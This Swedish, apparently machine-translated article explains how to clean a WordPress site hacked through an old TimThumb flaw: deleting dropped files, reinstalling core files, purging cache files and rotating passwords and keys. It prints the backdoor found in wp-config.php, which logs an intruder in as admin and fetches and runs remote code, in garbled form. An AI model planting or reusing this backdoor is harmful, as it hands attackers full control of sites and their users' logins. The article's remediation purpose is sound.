Hur fixar och rengör TimThumb Hack i WordPress
Så om du kommer ihåg rätt, var det ett säkerhetsproblem med TimThumb-skriptet i augusti som fixades. Men fortfarande till vår förvåning använder många webbplatser fortfarande den gamla versionen. Vi har fastställt tre platser hittills under den senaste månaden, en i går. Så det är vettigt att helt enkelt skriva en stegvis artikel, så våra användare kan bara följa den. Alla de tre användarna som vi åtgärdar problemet för, visste inte ens vad TimThumb var eller huruvida de använde det eller inte.
TimThumb är ett PHP-skript som ändrar bilder. Det var en sårbarhet i det, men det är säkert att använda nu.
Så hur vet du att din webbplats är hackad? Om du ser en stor röd skärm i din webbläsare när du besöker din webbplats:
Om du börjar bli bombarderad med e-postmeddelanden om att användare omdirigeras från din webbplats. Mest sannolikt är fallet att din webbplats utsattes för detta utnyttjande.
Som en försiktighetsåtgärd bör alla bara använda denna Timthumb Vulnerability Scanner. Detta kommer att berätta om du använder den äldre versionen av TimThumb. Många temaklubbar uppgraderade sin kärna direkt. Så det här pluginet kommer att kontrollera om den nya säkra versionen av Timthumb är installerad eller en äldre version är installerad.
Nu om din webbplats redan föll till detta Timthumb-utnyttjande, så här är vad du behöver göra.
Först måste du radera följande filer:
/wp-admin/upd.php /wp-content/upd.php
Logga in på WordPress admin panel och installera om din WordPress version. Vi ser specifikt på att installera om dessa filer:
/wp-settings.php /wp-includes/js/jquery/jquery.js /wp-includes/js/110n.js
Öppna sedan din wp-config.php där du sannolikt kommer att hitta den här stora malwarekoden som skördar inloggningsuppgifter och cookies. Denna kod kommer att vara mot botten.
_ if $ _GET ['pass'] == '19ca14e7ea6328a42e0eb13d585e4c22') if ($ _GET ['pingnow'] == 'inloggning') $ user_login = 'admin'; $ user = get_userdatabylogin ($ user_login); $ user_id = $ user-> ID; wp_set_current_user ($ user_id, $ user_login); wp_set_auth_cookie ($ user_id); do_action ('wp_login', $ user_login); om ($ _GET ['pingnow'] == 'exec') && (isset ($ _ GET ['fil']))) $ ch = curl_init ($ _ GET ['file']); $ fnm = md5 (rand (0,100)). 'php'; $ fp = fopen ($ fnm, "w"); curl_setopt ($ ch, CURLOPT_FILE, $ fp); curl_setopt ($ ch, CURLOPT_HEADER, 0); curl_setopt ($ ch, CURLOPT_TIMEOUT, 5); curl_exec ($ ch); curl_close ($ ch); fclose ($ fp); eko "location.href = '$ fnm';"; om ($ _GET ['pingnow'] == 'eval') && (isset ($ _ GET ['fil']))) $ ch = curl_init ($ _ GET ['file']); curl_setopt ($ ch, CURLOPT_RETURNTRANSFER, true); curl_setopt ($ ch, CURLOPT_HEADER, 0); curl_setopt ($ ch, CURLOPT_TIMEOUT, 5); $ re = curl_exec ($ ch); curl_close ($ ch); eval ($ re);
I ditt temas mapp, leta efter var som helst TimThumb-skriptet kan lagra de cachade filerna. Vanligtvis är de i denna struktur:
/wp-content/themes/themename/scripts/cache/external_MD5Hash.php /wp-content/themes/themename/temp/cache/external_MD5Hash.php
Ta bort allt som ser ut så här. Om du inte är säker på saker, ta bort allt som inte är en bildfil.
Nästa sak du vill göra är att ersätta timthumb.php med den senaste versionen som finns på http://timthumb.googlecode.com/svn/trunk/timthumb.php
Nu skulle det vara en bra idé att ändra dina lösenord som börjar med din MySQL inloggningsinfo till din WordPress inloggningsinfo. Glöm inte att ändra lösenordet för MySQL i wp-config.php eller så får du "Error Establishing Connection" -skärmen.
Ändra de hemliga nycklarna i din wp-config.php-fil. Du kan skapa en ny nyckel genom att gå till onlinegenerern.
Nu är du klar. Glöm inte att tömma alla sidhanteringsinställningar. Som en försiktighetsåtgärd är det bra att rensa webbläsarens cache och cookies också.
För utvecklare, försök använda funktionen Extra bildstorlekar i WordPress för att ersätta Timthumb-funktionerna.
Låt oss veta om du behöver ytterligare hjälp genom att använda vårt kontaktformulär.